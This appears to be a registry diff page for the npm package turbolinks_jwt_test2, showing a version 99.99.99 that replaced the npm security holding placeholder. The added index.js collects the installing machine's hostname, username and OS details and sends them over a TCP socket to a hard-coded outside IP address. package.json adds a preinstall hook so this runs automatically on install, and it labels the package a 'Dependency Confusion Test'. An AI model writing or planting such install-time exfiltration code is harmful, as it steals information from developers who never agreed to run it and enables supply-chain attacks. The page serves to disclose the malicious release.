turbolinks_jwt_test2 0.0.1-security → 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of turbolinks_jwt_test2 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +30 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+ const net = require("net");
2
+ const os = require("os");
3
+
4
+ // Listener details
5
+ const LISTENER_IP = "65.0.127.249";
6
+ const LISTENER_PORT = 8888;
7
+
8
+ // Gather system information
9
+ const systemInfo = `
10
+ Hostname: ${os.hostname()}
11
+ Username: ${os.userInfo().username}
12
+ OS Type: ${os.type()}
13
+ OS Release: ${os.release()}
14
+ Architecture: ${os.arch()}
15
+ Uname -a: ${os.version()}
16
+ ---------------------------
17
+ `;
18
+
19
+ // Establish a connection to the listener
20
+ const client = new net.Socket();
21
+ client.connect(LISTENER_PORT, LISTENER_IP, () => {
22
+ client.write(systemInfo);
23
+ client.end(); // Close the connection after sending
24
+ });
25
+
26
+ // Handle errors
27
+ client.on("error", (err) => {
28
+ console.error("Connection Error:", err.message);
29
+ client.destroy();
30
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
+
1
2
  {
2
3
  "name": "turbolinks_jwt_test2",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
4
+ "version": "99.99.99",
5
+ "description": "Dependency Confusion Test",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "Vishal Kumar",
11
+ "license": "MIT"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=turbolinks_jwt_test2 for more information.